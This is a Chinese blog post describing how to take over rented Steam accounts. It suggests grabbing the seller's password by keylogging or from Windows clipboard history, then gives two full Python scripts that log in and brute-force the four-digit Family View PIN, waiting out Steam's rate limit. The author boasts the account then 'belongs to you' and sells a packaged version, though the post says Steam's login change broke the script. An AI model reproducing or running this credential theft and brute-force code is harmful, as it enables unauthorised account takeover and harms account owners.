2020-03-04 21:52
测试评论
我去淘宝买了一个游戏的Steam离线版,实际上就是给你个账户下载安装后以离线模式运行,配合上Steam账户管理器玩起来感觉还是很不错的
但我总是对客户端上的 家庭监护 标志耿耿于怀...
已确认 Steam 更换了登录算法,本文的脚本失效。
对很多店来说,他们不愿意把账户密码给你,更愿意直接远程,然后输入账户和密码,全部设置好后给设置为离线模式。
这个其实很好搞,Steam本身保护并不是非常到位,你可以采取记录键盘的方式记录下输入的密码,如果遇到和我一样偷懒复制粘贴的店家,你只需要借助Win自带的剪贴板历史(Win徽标+V)打开后就可以看到复制来的账户和密码啦~~~
Steam客户端和Steam网页都会被监护影响,经过测试,无论是客户端还是网页,都是输错5次暂停3分钟输入,那当然选择网页折腾啦~~
抓包的过程也很简单,需要注意的是,有个参数是附在网页中传递来的,需要取出来,然后遇到错误暂停3分钟继续咯。。。
rsa.js.zip
下面是脚本:
- # !/user/bin/env python
- # -*- coding:utf-8 -*-
- # time: 2018/9/6--19:24
- __author__ = 'Henry'
- # I use his login code ,thx him
- __sauthor__ = 'zponds'
-
- '''
- Steam login (RSA)
- URL:https://store.steampowered.com/login/
- '''
-
- import requests
- import time
- import re
- import execjs
- import json
-
- def steam_login():
- req = requests.session()
- headers = {
- 'Referer': 'https://store.steampowered.com/login/',
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
- Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54',
- }
- url = 'https://store.steampowered.com/login/getrsakey/'
- data = {
- 'donotcache': str(int(time.time() * 1000)),
- 'username': user
- }
- html = req.post(url, data=data, headers=headers).json()
- pub_mod = html.get('publickey_mod')
- pub_exp = html.get('publickey_exp')
- timestamp = html.get('timestamp')
-
- with open('rsa.js', encoding='utf-8') as f:
- jsdata = f.read()
- passencrypt = execjs.compile(jsdata).call('getpwd', password, pub_mod, pub_exp)
- print(passencrypt)
- # login
- url = 'https://store.steampowered.com/login/dologin/'
- data = {
- 'donotcache': str(int(time.time() * 1000)),
- 'username': user,
- 'password': passencrypt,
- 'twofactorcode': '',
- 'emailauth': '',
- 'loginfriendlyname': '',
- 'captchagid': '-1',
- 'captcha_text': '',
- 'emailsteamid': '',
- 'rsatimestamp': timestamp,
- 'remember_login': 'false',
- }
- html = req.post(url, data=data, headers=headers).json()
- if html.get('emailauth_needed') == True:
- print('Login requires your email verification code')
- emailid = html.get('emailsteamid')
- email = input('Please enter your email verification code:')
- # login again
- data['emailauth'] = email
- data['emailsteamid'] = emailid
- html = req.post(url, data=data, headers=headers).json()
- print(html)
- if html.get('login_complete') == True and html.get('success') == True:
- print('logining...')
- url_store = 'https://store.steampowered.com/'
- html = req.get(url_store, headers=headers).text
- username = re.findall(r'data-miniprofile=".*?">(.*?)</a>', html)[0]
- print('[Success!Username:' + username + ']')
- r = req.get('https://store.steampowered.com/parental/blocked')
- if '/parental/unlock' in r.text:
- print('The account has a family view')
- sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
- success = False
- start = input('PIN from:')
- start_time = int(time.time())
- for pin in range(int(start) - 1, 10000):
- flag = True
- while flag:
- # 取出sessionID
- pin_str = str(pin)
- while len(pin_str) < 4:
- pin_str = "0" + pin_str
- data = {
- 'pin': pin_str,
- 'sessionid': sessionID
- }
- try:
- r = req.post('https://store.steampowered.com/parental/ajaxunlock', data=data,
- headers=headers)
- r_json = json.loads(r.text)
- if r_json['success'] == False:
- if 'wait a while' in r_json['error_message']:
- print('Sleep...')
- time.sleep(180)
- r = req.get('https://store.steampowered.com/parental/blocked')
- sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
- else:
- flag = False
- print("PIN: %s: %s" % (pin_str, r_json['error_message']))
- else:
- print("PIN: %s: SUCCESS!" % pin_str)
- end_time = int(time.time())
- print("Time: %ds" % (end_time-start_time))
- success = True
- except BaseException as e:
- print('Error...')
- time.sleep(10)
- if success:
- exit(0)
- else:
- print('The account does not have a family view')
- else:
- print('login fail...')
- elif html.get('success') == False and html.get('message') != '':
- print(html.get('message'))
- print('login fail...')
-
-
- if __name__ == '__main__':
- user = input('account:')
- password = input('password:')
- steam_login()
0000-9999 Pin 3分钟可以尝试5次,运气再差也就2-3天的事情吧~找台服务器放着就好啦~
解除掉家庭监护就可以添加家庭共享啦~
接下来这个账户的使用权就属于你啦~
没有关系,我已经准备好了一个WINDOWS开箱即用的版本了!购买附件,下载后可以直接使用!
同时附赠一次指导!
- # !/user/bin/env python
- # -*- coding:utf-8 -*-
- # time: 2018/9/6--19:24
- __author__ = 'Henry'
- # I use his login code ,thx him
- __sauthor__ = 'zponds'
-
- '''
- Steam login (RSA)
- URL:https://store.steampowered.com/login/
- '''
-
- import requests
- import time
- import re
- import execjs
- import json
-
- def steam_login(open_start=-1):
- req = requests.session()
- headers = {
- 'Referer': 'https://store.steampowered.com/login/',
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
- Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54',
- }
- url = 'https://store.steampowered.com/login/getrsakey/'
- data = {
- 'donotcache': str(int(time.time() * 1000)),
- 'username': user
- }
- html = req.post(url, data=data, headers=headers).json()
- pub_mod = html.get('publickey_mod')
- pub_exp = html.get('publickey_exp')
- timestamp = html.get('timestamp')
-
- with open('rsa.js', encoding='utf-8') as f:
- jsdata = f.read()
- passencrypt = execjs.compile(jsdata).call('getpwd', password, pub_mod, pub_exp)
- # print(passencrypt)
- # login
- url = 'https://store.steampowered.com/login/dologin/'
- data = {
- 'donotcache': str(int(time.time() * 1000)),
- 'username': user,
- 'password': passencrypt,
- 'twofactorcode': '',
- 'emailauth': '',
- 'loginfriendlyname': '',
- 'captchagid': '-1',
- 'captcha_text': '',
- 'emailsteamid': '',
- 'rsatimestamp': timestamp,
- 'remember_login': 'true',
- }
- html = req.post(url, data=data, headers=headers).json()
- if html.get('emailauth_needed') == True:
- print('登陆需要邮箱验证码...')
- emailid = html.get('emailsteamid')
- email = input('请输入验证码:')
- # login again
- data['emailauth'] = email
- data['emailsteamid'] = emailid
- html = req.post(url, data=data, headers=headers).json()
- # print(html)
- if html.get('login_complete') == True and html.get('success') == True:
- print('logining...')
- url_store = 'https://store.steampowered.com/'
- html = req.get(url_store, headers=headers).text
- username = re.findall(r'data-miniprofile=".*?">(.*?)</a>', html)[0]
- print('[登陆成功!用户名:' + username + ']')
- r = req.get('https://store.steampowered.com/parental/blocked')
- if '/parental/unlock' in r.text:
- print('这个账户存在家庭监护')
- sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
- success = False
- if open_start == -1:
- start = input('从多少开始PIN(第一次运行请从0000开始):')
- else:
- start = open_start
- start_time = int(time.time())
- for pin in range(int(start) - 1, 10000):
- flag = True
- while flag:
- # 取出sessionID
- pin_str = str(pin)
- while len(pin_str) < 4:
- pin_str = "0" + pin_str
- data = {
- 'pin': pin_str,
- 'sessionid': sessionID
- }
- try:
- r = req.post('https://store.steampowered.com/parental/ajaxunlock', data=data,
- headers=headers)
- if len(r.text) > 2000:
- return steam_login(pin)
- r_json = json.loads(r.text)
- if r_json['success'] == False:
- if 'wait a while' in r_json['error_message'] or '错误尝试' in r_json['error_message']:
- print('等待中...')
- time.sleep(180)
- r = req.get('https://store.steampowered.com/parental/blocked')
- sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
- else:
- flag = False
- print("PIN: %s: %s" % (pin_str, r_json['error_message']))
- else:
- print("PIN: %s: 成功!" % pin_str)
- end_time = int(time.time())
- print("Time: %ds" % (end_time-start_time))
- success = True
- except BaseException as e:
- print('Error...')
- time.sleep(10)
- if success:
- return
- else:
- print('您的账户不存在家庭监护!')
- else:
- print(html.get('message'))
- print('登陆失败...')
-
-
- if __name__ == '__main__':
- user = input('账户名:')
- password = input('密码:')
- print('注意,跑PIN耗时可能非常长...可能长达两天...')
- steam_login()
- end = input('输入 EXIT 以退出...')
- while end != 'EXIT':
- end = input('输入 EXIT 以退出...')
本文作者:卖女孩的小火柴 - 搬砖中
本文链接:https://www.shinenet.cn/archives/82.html
最后修改时间:2023-12-19 21:53:36
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!